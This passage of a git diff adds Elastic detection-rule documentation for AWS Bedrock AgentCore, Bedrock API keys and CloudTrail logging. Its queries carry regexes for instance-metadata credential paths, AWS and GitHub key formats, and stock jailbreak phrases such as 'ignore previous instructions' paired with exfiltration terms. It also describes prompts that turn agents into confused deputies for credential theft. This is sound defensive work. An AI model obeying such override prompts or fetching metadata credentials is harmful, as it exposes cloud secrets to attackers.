rule flags prompts that reference the cloud instance metadata service (169.254.169.254, the ECS task metadata address, or the "latest/meta-data" / "security-credentials" paths), prompts that name AWS access or secret keys directly, and prompt-injection or jailbreak language ("ignore previous instructions", "developer mode", "do anything now") combined with intent to reveal secrets, system prompts, or send data to an external endpoint. Asking an agent to read instance metadata credentials or to exfiltrate secrets is rarely legitimate and indicates an attempt to weaponize the agent for credential theft, even when the model refuses the request. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/observability.html +* https://unit42.paloaltonetworks.com/bypass-of-aws-sandbox-network-isolation-mode/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock AgentCore Runtime Prompt Targeting Credentials or Instance Metadata* + + +Amazon Bedrock AgentCore runtimes execute agents that can call tools, run code, and reach network resources. A prompt that instructs the agent to read the cloud instance metadata service, return AWS credentials, or send data to an external endpoint is an attempt to turn the agent into a confused deputy for credential theft and exfiltration. The agent may refuse, but the attempt itself is a strong indicator of targeting; a more capable or misconfigured agent (one with code execution or outbound network access) could comply. + +This rule inspects the caller-supplied prompt recorded in the AgentCore runtime application logs and fires on instance-metadata or credential-endpoint references, explicit AWS key references, or jailbreak/override language paired with secret-extraction or exfiltration intent. + + +*Possible investigation steps* + + +- Review the full prompt in "aws.bedrock_agentcore.request_payload.prompt" to determine whether it targets instance metadata, names credentials, or attempts a jailbreak with exfiltration intent. +- Identify the agent in "aws.bedrock_agentcore.agent_name"/"aws.bedrock_agentcore.resource_arn" and the session in "aws.bedrock_agentcore.session_id"; pivot on the session for the surrounding prompts in the same conversation. +- Determine the caller path to the runtime (front-end application, gateway, or direct InvokeAgentRuntime) and whether the source is expected. +- Assess the agent's capabilities: whether it has code execution, outbound network access, or tools that could fetch metadata or reach external endpoints, which raises the impact if the agent had complied. +- Correlate with the execution role's activity in CloudTrail for any credential use outside the runtime around the same time. + + +*False positive analysis* + + +- Security testing and guardrail validation can deliberately send these payloads. Confirm the caller and exclude approved testing identities after validation. +- Content that legitimately discusses the metadata service or AWS key formats can match; review the prompt to confirm intent. + + +*Response and remediation* + + +- If the activity is unauthorized, identify the source application or identity driving the prompts and block it; review the conversation session for related attempts. +- Verify the agent did not return credentials or reach the metadata service; if the agent has code execution, ensure the instance metadata service requires session tokens (IMDSv2) and that the execution role is least privilege. +- Add or tune AgentCore guardrails to block instance-metadata and credential-exfiltration prompts, and monitor the agent's execution role for use outside the runtime. + + +==== Setup + + +This rule requires Amazon Bedrock AgentCore runtime application logs collected via the Elastic AWS Bedrock AgentCore integration (observability logs delivered to S3 and ingested into the aws_bedrock_agentcore.runtime_application_logs dataset). See https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/observability.html for enabling AgentCore observability. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock_agentcore.runtime_application_logs-* metadata _id, _version, _index +| eval Esql_priv.aws_bedrock_agentcore_request_payload_prompt_lower = to_lower(aws.bedrock_agentcore.request_payload.prompt) +| where aws.bedrock_agentcore.operation == "InvokeAgentRuntime" and ( + Esql_priv.aws_bedrock_agentcore_request_payload_prompt_lower rlike """.*(169\.254\.169\.254|169\.254\.170\.2|/latest/meta-data|/latest/api/token|security-credentials).*""" + or Esql_priv.aws_bedrock_agentcore_request_payload_prompt_lower rlike """.*(aws_secret_access_key|aws_access_key_id|secret access key|access key id).*""" + or ( + Esql_priv.aws_bedrock_agentcore_request_payload_prompt_lower rlike """.*(ignore (all )?(your )?(previous|prior|above) instructions|disregard (your |the )?(previous |above )?instructions|developer mode|do anything now|jailbreak).*""" + and Esql_priv.aws_bedrock_agentcore_request_payload_prompt_lower rlike """.*(system prompt|reveal|exfiltrate|credential|secret|password|api key|token|send .* to https?://).*""" + ) + ) +| keep _id, _version, _index, @timestamp, aws.*, cloud.*, event.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-bedrock-api-key-phantom-user-activity-outside-bedrock.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-bedrock-api-key-phantom-user-activity-outside-bedrock.asciidoc new file mode 100644 index 0000000000..0c103ec739 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-bedrock-api-key-phantom-user-activity-outside-bedrock.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-28-aws-bedrock-api-key-phantom-user-activity-outside-bedrock]] +=== AWS Bedrock API Key Phantom User Activity Outside Bedrock + +Identifies an Amazon Bedrock API key phantom user (an IAM user whose name starts with "BedrockAPIKey-") acting as the caller of a non-Bedrock API request, such as IAM, STS, EC2, VPC, or KMS calls. These users are provisioned by AWS to back a Bedrock bearer token and carry the AmazonBedrockLimitedAccess managed policy, which also grants IAM, VPC, and KMS reconnaissance. A phantom user performing activity outside of Bedrock indicates its credentials are being used beyond their intended scope, which is the privilege-escalation path realized: an attacker who created standard IAM access keys for the phantom user is now using them for reconnaissance or lateral movement outside the Bedrock authentication boundary. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.beyondtrust.com/blog/entry/aws-bedrock-security-guide-api-keys-detection-response +* https://www.beyondtrust.com/blog/entry/aws-bedrock-security-api-keys +* https://docs.aws.amazon.com/bedrock/latest/userguide/api-keys.html + +*Tags*: + +* Domain: Cloud +* Domain: LLM +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock API Key Phantom User Activity Outside Bedrock* + + +Amazon Bedrock API key phantom users ("BedrockAPIKey-*") exist only to back a Bedrock bearer token and carry the AmazonBedrockLimitedAccess managed policy. That policy grants Bedrock control-plane actions plus IAM, VPC, and KMS reconnaissance, so if an attacker adds standard IAM access keys (or a console login) to the phantom user, those credentials can be used for reconnaissance and lateral movement well beyond Bedrock. + +This rule fires when a "BedrockAPIKey-*" user is the caller of an API request whose service is not Bedrock. Because the phantom user has no legitimate reason to act outside Bedrock, such activity is the privilege-escalation path realized. + + +*Possible investigation steps* + + +- Review "aws.cloudtrail.user_identity.arn", "event.provider", and "event.action" to understand what non-Bedrock activity the phantom user performed. +- Inspect "source.ip"/"source.as.number" and "user_agent.original", and determine whether the phantom user holds IAM access keys or a login profile (the escalation pivot). +- Review the full sequence of the phantom user's actions for reconnaissance (IAM/EC2/STS enumeration) or attempts to access other resources. +- Correlate with the credential-addition event (CreateAccessKey/CreateLoginProfile on the same user). + + +*False positive analysis* + + +- Phantom users are not meant to perform non-Bedrock activity, so this should be rare. Validate any intentional repurposing before excluding the identity. + + +*Response and remediation* + + +- If unauthorized, disable and remove the phantom user's IAM access keys and login profile, and delete the phantom user after preserving forensic evidence. +- Review the account for resources the phantom user may have accessed or modified. +- Deploy an SCP denying "iam:CreateAccessKey" and "iam:CreateLoginProfile" on "arn:aws:iam::*:user/BedrockAPIKey-*" to prevent the pivot. + + +==== Setup + + +This rule requires AWS CloudTrail logs ingested via the Elastic AWS integration. See https://docs.elastic.co/integrations/aws/cloudtrail for setup details. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and aws.cloudtrail.user_identity.type: "IAMUser" + and user.name: BedrockAPIKey-* + and not event.provider: ( + "bedrock.amazonaws.com" or "signin.amazonaws.com" or + "agreement-marketplace.amazonaws.com" or "discovery-marketplace.amazonaws.com" + ) + and not event.action: ("GetCallerIdentity" or "GetSessionToken" or "GetAccessKeyInfo") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-bedrock-api-key-used-for-destructive-or-anti-recovery-action.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-bedrock-api-key-used-for-destructive-or-anti-recovery-action.asciidoc new file mode 100644 index 0000000000..8273e2a3f9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-bedrock-api-key-used-for-destructive-or-anti-recovery-action.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-28-aws-bedrock-api-key-used-for-destructive-or-anti-recovery-action]] +=== AWS Bedrock API Key Used for Destructive or Anti-Recovery Action + +Identifies an Amazon Bedrock API key (bearer token) being used to perform a destructive or anti-recovery control-plane action, such as deleting a guardrail, deleting a custom or imported model, removing provisioned throughput, or disabling model invocation logging. Bedrock API keys are bearer credentials intended for model invocation (InvokeModel, Converse); using one to delete Bedrock resources or disable logging is inconsistent with that purpose and is characteristic of LLMjacking or sabotage following key theft. Every Bedrock API key call is identifiable in CloudTrail by "additionalEventData.callWithBearerToken" being true. The rule matches regardless of outcome, because a destructive attempt via a bearer token is suspicious even when denied. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.beyondtrust.com/blog/entry/aws-bedrock-security-guide-api-keys-detection-response +* https://www.beyondtrust.com/blog/entry/aws-bedrock-security-api-keys +* https://docs.aws.amazon.com/bedrock/latest/userguide/api-keys.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Tactic: Impact +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock API Key Used for Destructive or Anti-Recovery Action* + + +Amazon Bedrock API keys are bearer tokens created for model invocation. In CloudTrail, every request made with one carries "additionalEventData.callWithBearerToken" set to true, which distinguishes it from a standard SigV4-signed call. The AmazonBedrockLimitedAccess policy attached to Bedrock API key phantom users also permits destructive Bedrock control-plane actions, so a stolen or misused key can delete guardrails and models or disable logging. + +Using an API key to delete guardrails, custom or imported models, or provisioned throughput, or to disable model invocation logging, is inconsistent with the credential's purpose. It is characteristic of LLMjacking operations (which frequently disable guardrails and logging) or of sabotage following credential theft. + + +*Possible investigation steps* + + +- Identify the specific action in "event.action" and the affected resource in "aws.cloudtrail.request_parameters". +- Identify the principal in "aws.cloudtrail.user_identity.arn"/"aws.cloudtrail.user_identity.type" and review "source.ip", "source.as.number", and "user_agent.original"; generic HTTP clients (python-requests, aiohttp, curl) are a further LLMjacking indicator. +- Review the same principal's other Bedrock API key activity for model-invocation spikes, cross-region use, or additional destructive actions. +- Determine whether model invocation logging or guardrails were disabled, and when, to scope any window of reduced visibility. + + +*False positive analysis* + + +- Sanctioned automation may manage Bedrock resources with an API key. Confirm the principal and change, and exclude known maintenance identities after validation. + + +*Response and remediation* + + +- If unauthorized, revoke the Bedrock API key (attach an inline deny on "bedrock:CallWithBearerToken" to the phantom user or deactivate the service-specific credential) and restore the deleted resource or re-enable logging. +- Check the phantom user for IAM access keys created as a persistence pivot and revoke them. +- Review the principal's recent activity and prefer short-term keys or STS going forward. + + +==== Setup + + +This rule requires AWS CloudTrail logs ingested via the Elastic AWS integration. See https://docs.elastic.co/integrations/aws/cloudtrail for setup details. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-aws.cloudtrail-* METADATA _id, _version, _index +| WHERE event.provider == "bedrock.amazonaws.com" + AND aws.cloudtrail.additional_eventdata RLIKE """.*callWithBearerToken=true.*""" + AND event.action IN ( + "DeleteGuardrail", + "DeleteModelInvocationLoggingConfiguration", + "PutModelInvocationLoggingConfiguration", + "DeleteImportedModel", + "DeleteCustomModel", + "DeleteModelCustomizationJob", + "DeleteProvisionedModelThroughput", + "DeleteMarketplaceModelEndpoint" + ) +| KEEP _id, _version, _index, @timestamp, aws.*, cloud.*, event.*, source.*, user.*, user_agent.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-bedrock-model-prompt-or-completion-containing-credentials.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-bedrock-model-prompt-or-completion-containing-credentials.asciidoc new file mode 100644 index 0000000000..f7f400a8b9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-bedrock-model-prompt-or-completion-containing-credentials.asciidoc @@ -0,0 +1,116 @@ +[[prebuilt-rule-8-19-28-aws-bedrock-model-prompt-or-completion-containing-credentials]] +=== AWS Bedrock Model Prompt or Completion Containing Credentials + +Identifies an Amazon Bedrock model invocation whose prompt or completion contains an AWS access key identifier (AKIA long-term or ASIA temporary/STS, followed by 16 characters), an Amazon Bedrock API key (ABSK bearer token), or a PEM private-key block. Credentials in the model input mean an application or user is sending secrets to the model, exposing them to invocation logging, the model provider, and prompt history; credentials in the model output mean the model is emitting secrets, which can result from training-data leakage, poisoned context, or a prompt-injection-driven exfiltration attempt. Either case is a credential-exposure event that warrants immediate rotation of the affected secret. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.beyondtrust.com/blog/entry/aws-bedrock-security-guide-api-keys-detection-response + +*Tags*: + +* Domain: LLM +* Data Source: AWS Bedrock +* Data Source: Amazon Web Services +* Use Case: Threat Detection +* Mitre Atlas: LLM06 +* Resources: Investigation Guide +* Tactic: Credential Access + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Model Prompt or Completion Containing Credentials* + + +Bedrock model invocation logging records the full request and response of each InvokeModel/Converse call. This rule scans the decoded prompt and completion for live-credential patterns: AWS access key IDs (AKIA/ASIA followed by 16 characters) and PEM private-key headers. A credential in the prompt indicates secrets are being sent to the model (and persisted in logs and, for hosted models, to the provider); a credential in the completion indicates the model returned a secret, which is a sign of training-data or context leakage or a successful prompt-injection exfiltration. + + +*Possible investigation steps* + + +- Review the matched value in "gen_ai.prompt" and "gen_ai.completion" and confirm whether it is a live credential or an example/placeholder. +- Identify the caller in "user.id" and the model in "aws_bedrock.invocation.model_id", and determine which application generated the invocation. +- If the credential is in the completion, review the prompt for injection or data-exfiltration instructions and check the model's knowledge base or context sources. +- Determine the scope and privileges of the exposed credential to gauge impact. + + +*False positive analysis* + + +- Example or documentation keys (such as the AWS EXAMPLE key) match the pattern. Confirm the value is a real credential before escalating. + + +*Response and remediation* + + +- If the credential is live, rotate or deactivate it immediately and review CloudTrail for any use of it. +- Identify and fix the application path that placed the credential into the prompt, and add input/output filtering (such as a Bedrock guardrail with a sensitive-information policy) to prevent recurrence. + + +==== Setup + + +This rule requires Amazon Bedrock model invocation logs ingested via the Elastic AWS Bedrock integration, with text data delivery enabled in the Bedrock model-invocation-logging configuration. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* metadata _id, _version, _index +| where event.action in ("ConverseStream", "Converse") AND + ( gen_ai.prompt rlike """.*(AKIA|ASIA)[A-Z0-9]{16}.*""" + or gen_ai.completion rlike """.*(AKIA|ASIA)[A-Z0-9]{16}.*""" + or gen_ai.prompt rlike """.*-----BEGIN [A-Z ]*PRIVATE KEY-----.*""" + or gen_ai.completion rlike """.*-----BEGIN [A-Z ]*PRIVATE KEY-----.*""" + or gen_ai.prompt rlike """.*ABSK[A-Za-z0-9+/=]{20}.*""" + or gen_ai.completion rlike """.*ABSK[A-Za-z0-9+/=]{20}.*""" + or gen_ai.prompt rlike """.*gh[pousr]_[A-Za-z0-9]{36}.*""" + or gen_ai.completion rlike """.*gh[pousr]_[A-Za-z0-9]{36}.*""" + or gen_ai.prompt rlike """.*github_pat_[A-Za-z0-9_]+.*""" + or gen_ai.completion rlike """.*github_pat_[A-Za-z0-9_]+.*""" + or gen_ai.prompt rlike """.*glpat-[A-Za-z0-9_\\-]+.*""" + or gen_ai.completion rlike """.*glpat-[A-Za-z0-9_\\-]+.*""") +| keep _id, _version, _index, @timestamp, gen_ai.*, aws_bedrock.*, user.*, cloud.*, event.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-cloudshell-environment-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-cloudshell-environment-created.asciidoc new file mode 100644 index 0000000000..4e71a61971 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-cloudshell-environment-created.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-28-aws-cloudshell-environment-created]] +=== AWS CloudShell Environment Created + +Identifies the creation of a new AWS CloudShell environment. CloudShell is a browser-based shell that provides command-line access to AWS resources directly from the AWS Management Console. The CreateEnvironment API is called when a user launches CloudShell for the first time or when accessing CloudShell in a new AWS region. Adversaries with console access may use CloudShell to execute commands, install tools, or interact with AWS services without needing local CLI credentials. Monitoring environment creation helps detect unauthorized CloudShell usage from compromised console sessions. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://aws-samples.github.io/threat-technique-catalog-for-aws/Techniques/T1059.009.html +* https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS CloudShell +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudShell Environment Created* + + +AWS CloudShell is a browser-based shell environment that provides instant command-line access to AWS resources without requiring local CLI installation or credential configuration. While this is convenient for legitimate administrators, it also provides adversaries with a powerful tool if they gain access to a compromised AWS console session. + +This rule detects when a CloudShell environment is created via the `CreateEnvironment` API. This event occurs when a user launches CloudShell for the first time or when accessing CloudShell in a new AWS region (each region maintains a separate environment). + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` or `user.name` to determine which IAM principal created the CloudShell environment. + - Check `aws.cloudtrail.user_identity.type` to identify whether this is an IAM user or an assumed role session. + - Verify if this user typically performs command-line or administrative operations. + +- **Analyze the source context** + - Review `source.ip` and `source.geo` fields to verify the request origin matches expected administrator locations. + - Check `user_agent.original` to confirm the request came from a browser session. + - Look for the preceding `ConsoleLogin` event to understand how the session was established. + +- **Correlate with surrounding activity** + - Look for any IAM operations (CreateAccessKey, CreateUser, AttachRolePolicy) that occurred after CloudShell was accessed. + - Check for data exfiltration patterns or reconnaissance activity from the same session. + +- **Assess the broader context** + - Determine if this user has a legitimate need for CloudShell access based on their role. + - Review recent access patterns for the console session that initiated CloudShell. + - Check if MFA was used for the console login. + + +*False positive analysis* + + +- Administrators routinely using CloudShell for AWS management tasks will trigger this rule. Consider tuning for known admin users if noise is a concern. +- Users accessing CloudShell in a new AWS region will generate a `CreateEnvironment` event even if they have used CloudShell before in other regions. +- Training or certification activities may involve CloudShell environment creation. + + +*Response and remediation* + + +- If unauthorized, immediately terminate the console session to revoke CloudShell access. +- Review and revoke any credentials or resources created during the CloudShell session. +- Consider restricting CloudShell access via SCPs or IAM policies for sensitive accounts or users who do not require it. +- Implement session duration limits to reduce the window of opportunity for console session abuse. +- Enable MFA for all console logins to reduce the risk of session compromise. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "cloudshell.amazonaws.com" + and event.action: "CreateEnvironment" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Cloud API +** ID: T1059.009 +** Reference URL: https://attack.mitre.org/techniques/T1059/009/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-cloudtrail-log-suspended.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-cloudtrail-log-suspended.asciidoc new file mode 100644 index 0000000000..580cca4c87 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-cloudtrail-log-suspended.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-28-aws-cloudtrail-log-suspended]] +=== AWS CloudTrail Log Suspended + +Detects Cloudtrail logging suspension via StopLogging API. Stopping CloudTrail eliminates forward audit visibility and is a classic defense evasion step before sensitive changes or data theft. Investigate immediately and determine what occurred during the logging gap. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_StopLogging.html +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/stop-logging.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Cloudtrail +* Use Case: Log Auditing +* Resources: Investigation Guide +* Tactic: Defense Evasion + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudTrail Log Suspended* + + +AWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. This rule identifies the suspension of an AWS log trail using the `StopLogging` API. Attackers can do this to cover their tracks and impact security monitoring that relies on this source. + + +*Possible investigation steps* + +- **Actor & scope** + - Identify `aws.cloudtrail.user_identity.arn`, `user_agent.original`, `source.ip`. + - Determine which trail stopped and whether it’s multi-region or organization-wide. +- **Timing and impact** + - When did logging stop and resume (if at all)? Are there overlapping detections indicating activity during the gap? +- **Correlate activity** + - Search for sensitive API activity around the stop event (IAM changes, S3 policy changes, EC2 exports, KMS changes). + - Check for preceding `UpdateTrail` (e.g., destination change) and subsequent `DeleteTrail`. + + +*False positive analysis* + +- **Planned suspensions**: Rare; verify maintenance tickets and ensure post-change validation. + + +*Response and remediation* + +- Restart logging (`StartLogging`) immediately. +- Investigate actor’s recent activity; rotate credentials if suspicious. +- Validate trail configuration, destination bucket/CMK, and event selectors. +- Hardening: Limit `cloudtrail:StopLogging` to break-glass roles; alert on any future stops; enforce via AWS Config/SCPs. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "cloudtrail.amazonaws.com" + and event.action: "StopLogging" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-cloudtrail-log-updated.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-cloudtrail-log-updated.asciidoc new file mode 100644 index 0000000000..6caf3cd777 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-cloudtrail-log-updated.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-28-aws-cloudtrail-log-updated]] +=== AWS CloudTrail Log Updated + +Detects updates to an existing CloudTrail trail via UpdateTrail API which may reduce visibility, change destinations, or weaken integrity (e.g., removing global events, moving the S3 destination, or disabling validation). Adversaries can modify trails to evade detection while maintaining a semblance of logging. Validate any configuration change against approved baselines. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_UpdateTrail.html +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/update-trail.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Cloudtrail +* Use Case: Log Auditing +* Resources: Investigation Guide +* Tactic: Impact + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudTrail Log Updated* + + +AWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. Trail modifications can be used by attackers to redirect logs to non-approved buckets, drop regions, or disable valuable selectors. This rule identifies a modification on CloudTrail settings using the `UpdateTrail` API. + + +*Possible investigation steps* + +- **Actor and context** + - Check `aws.cloudtrail.user_identity.arn`, `user_agent.original`, 